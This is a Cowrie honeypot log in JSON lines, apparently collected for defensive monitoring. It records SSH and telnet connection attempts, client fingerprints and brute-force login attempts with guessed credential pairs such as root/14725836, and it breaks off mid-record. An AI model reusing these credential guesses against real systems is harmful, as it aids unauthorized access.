{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:57.028381Z","src_ip":"87.251.79.125","session":"8b55011da081","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14725836","message":"login attempt [root/14725836] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:57.244217Z","src_ip":"87.251.79.125","session":"8b55011da081","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:37:58.318468Z","src_ip":"87.251.79.125","session":"8b55011da081","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41158,"dst_ip":"10.17.0.5","dst_port":23,"session":"83930525ad6a","protocol":"telnet","message":"New connection: 192.119.13.58:41158 (10.17.0.5:23) [session: 83930525ad6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:01.053589Z"}
{"eventid":"cowrie.session.closed","duration":45.3445839881897,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:03.031487Z","src_ip":"192.119.13.58","session":"86e2fdbb2d6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.19614934921265,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:04.133473Z","src_ip":"192.119.13.58","session":"8b078e4f7dac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57442,"dst_ip":"10.17.0.5","dst_port":23,"session":"73894a28e8e0","protocol":"telnet","message":"New connection: 192.119.13.58:57442 (10.17.0.5:23) [session: 73894a28e8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:04.858960Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":39264,"dst_ip":"10.17.0.5","dst_port":22,"session":"bdf0d47b62c0","protocol":"ssh","message":"New connection: 193.32.162.145:39264 (10.17.0.5:22) [session: bdf0d47b62c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:06.100554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:06.232851Z","src_ip":"193.32.162.145","session":"bdf0d47b62c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:06.236223Z","src_ip":"193.32.162.145","session":"bdf0d47b62c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123sol","message":"login attempt [ubuntu/123sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:06.663846Z","src_ip":"193.32.162.145","session":"bdf0d47b62c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:07.773792Z","src_ip":"193.32.162.145","session":"bdf0d47b62c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.68980431556702,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:08.768811Z","src_ip":"192.119.13.58","session":"b9023baca728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.41041445732117,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:13.648980Z","src_ip":"192.119.13.58","session":"11a944cef469","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":43872,"dst_ip":"10.17.0.5","dst_port":22,"session":"30476c1edba6","protocol":"ssh","message":"New connection: 49.51.73.108:43872 (10.17.0.5:22) [session: 30476c1edba6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:14.291155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:14.295049Z","src_ip":"49.51.73.108","session":"30476c1edba6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:14.363606Z","src_ip":"49.51.73.108","session":"30476c1edba6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"s0p0rt3","message":"login attempt [soporte/s0p0rt3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:14.677767Z","src_ip":"49.51.73.108","session":"30476c1edba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:15.749523Z","src_ip":"49.51.73.108","session":"30476c1edba6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.85766100883484,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:16.606079Z","src_ip":"192.119.13.58","session":"d5ce22114ace","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52352,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb043ed8b20","protocol":"telnet","message":"New connection: 192.119.13.58:52352 (10.17.0.5:23) [session: ebb043ed8b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:16.992100Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":54216,"dst_ip":"10.17.0.5","dst_port":22,"session":"8879e9661fd2","protocol":"ssh","message":"New connection: 45.78.204.254:54216 (10.17.0.5:22) [session: 8879e9661fd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:23.277410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:23.282538Z","src_ip":"45.78.204.254","session":"8879e9661fd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:23.520766Z","src_ip":"45.78.204.254","session":"8879e9661fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54444,"dst_ip":"10.17.0.5","dst_port":23,"session":"19473b589a88","protocol":"telnet","message":"New connection: 192.119.13.58:54444 (10.17.0.5:23) [session: 19473b589a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:24.768772Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"jf@123456","message":"login attempt [root/jf@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:26.332329Z","src_ip":"45.78.204.254","session":"8879e9661fd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36162,"dst_ip":"10.17.0.5","dst_port":23,"session":"fffe3fd52960","protocol":"telnet","message":"New connection: 192.119.13.58:36162 (10.17.0.5:23) [session: fffe3fd52960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:27.187215Z"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:27.573221Z","src_ip":"45.78.204.254","session":"8879e9661fd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.49101686477661,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:29.057729Z","src_ip":"192.119.13.58","session":"af695d59b502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.296846866607666,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:30.256247Z","src_ip":"192.119.13.58","session":"bee9cad0234a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60582,"dst_ip":"10.17.0.5","dst_port":23,"session":"09da7d2c32b6","protocol":"telnet","message":"New connection: 192.119.13.58:60582 (10.17.0.5:23) [session: 09da7d2c32b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:33.123603Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36550,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e1527ac76cc","protocol":"telnet","message":"New connection: 192.119.13.58:36550 (10.17.0.5:23) [session: 2e1527ac76cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:34.191704Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48472,"dst_ip":"10.17.0.5","dst_port":23,"session":"d44011f4e2e7","protocol":"telnet","message":"New connection: 192.119.13.58:48472 (10.17.0.5:23) [session: d44011f4e2e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:37.015399Z"}
{"eventid":"cowrie.session.closed","duration":47.849682569503784,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:38.401680Z","src_ip":"192.119.13.58","session":"8e720502b6eb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.634759187698364,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:42.688276Z","src_ip":"192.119.13.58","session":"83930525ad6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49802,"dst_ip":"10.17.0.5","dst_port":23,"session":"416fa6c9f540","protocol":"telnet","message":"New connection: 192.119.13.58:49802 (10.17.0.5:23) [session: 416fa6c9f540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:44.013557Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":51938,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a0a9b0020d4","protocol":"ssh","message":"New connection: 193.39.208.26:51938 (10.17.0.5:22) [session: 1a0a9b0020d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:44.279941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:44.285514Z","src_ip":"193.39.208.26","session":"1a0a9b0020d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:44.369452Z","src_ip":"193.39.208.26","session":"1a0a9b0020d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test_user","password":"test","message":"login attempt [test_user/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:44.734753Z","src_ip":"193.39.208.26","session":"1a0a9b0020d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.96016192436218,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:45.819007Z","src_ip":"192.119.13.58","session":"73894a28e8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:45.830888Z","src_ip":"193.39.208.26","session":"1a0a9b0020d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40426,"dst_ip":"10.17.0.5","dst_port":23,"session":"44d2240a27b3","protocol":"telnet","message":"New connection: 192.119.13.58:40426 (10.17.0.5:23) [session: 44d2240a27b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:48.398408Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54630,"dst_ip":"10.17.0.5","dst_port":23,"session":"e631e71a50c5","protocol":"telnet","message":"New connection: 192.119.13.58:54630 (10.17.0.5:23) [session: e631e71a50c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:52.659597Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59824,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdc0e1cf6a30","protocol":"telnet","message":"New connection: 192.119.13.58:59824 (10.17.0.5:23) [session: bdc0e1cf6a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:38:59.725829Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37860,"dst_ip":"10.17.0.5","dst_port":23,"session":"79af0f9b4e0b","protocol":"telnet","message":"New connection: 192.119.13.58:37860 (10.17.0.5:23) [session: 79af0f9b4e0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:01.264380Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43482,"dst_ip":"10.17.0.5","dst_port":23,"session":"16238632d0fb","protocol":"telnet","message":"New connection: 192.119.13.58:43482 (10.17.0.5:23) [session: 16238632d0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:02.710060Z"}
{"eventid":"cowrie.session.closed","duration":40.08747673034668,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:04.856115Z","src_ip":"192.119.13.58","session":"19473b589a88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.96941065788269,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:04.961436Z","src_ip":"192.119.13.58","session":"ebb043ed8b20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55744,"dst_ip":"10.17.0.5","dst_port":23,"session":"843ea2a38701","protocol":"telnet","message":"New connection: 192.119.13.58:55744 (10.17.0.5:23) [session: 843ea2a38701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:05.587095Z"}
{"eventid":"cowrie.session.closed","duration":0.007921218872070312,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:05.594887Z","src_ip":"192.119.13.58","session":"843ea2a38701","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54842,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbfe3515da3b","protocol":"telnet","message":"New connection: 192.119.13.58:54842 (10.17.0.5:23) [session: fbfe3515da3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:06.418648Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":44930,"dst_ip":"159.203.135.109","dst_port":22,"session":"835bdfc93350","protocol":"ssh","message":"New connection: 147.45.197.250:44930 (159.203.135.109:22) [session: 835bdfc93350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:10.843149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:39:10.848277Z","src_ip":"147.45.197.250","session":"835bdfc93350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],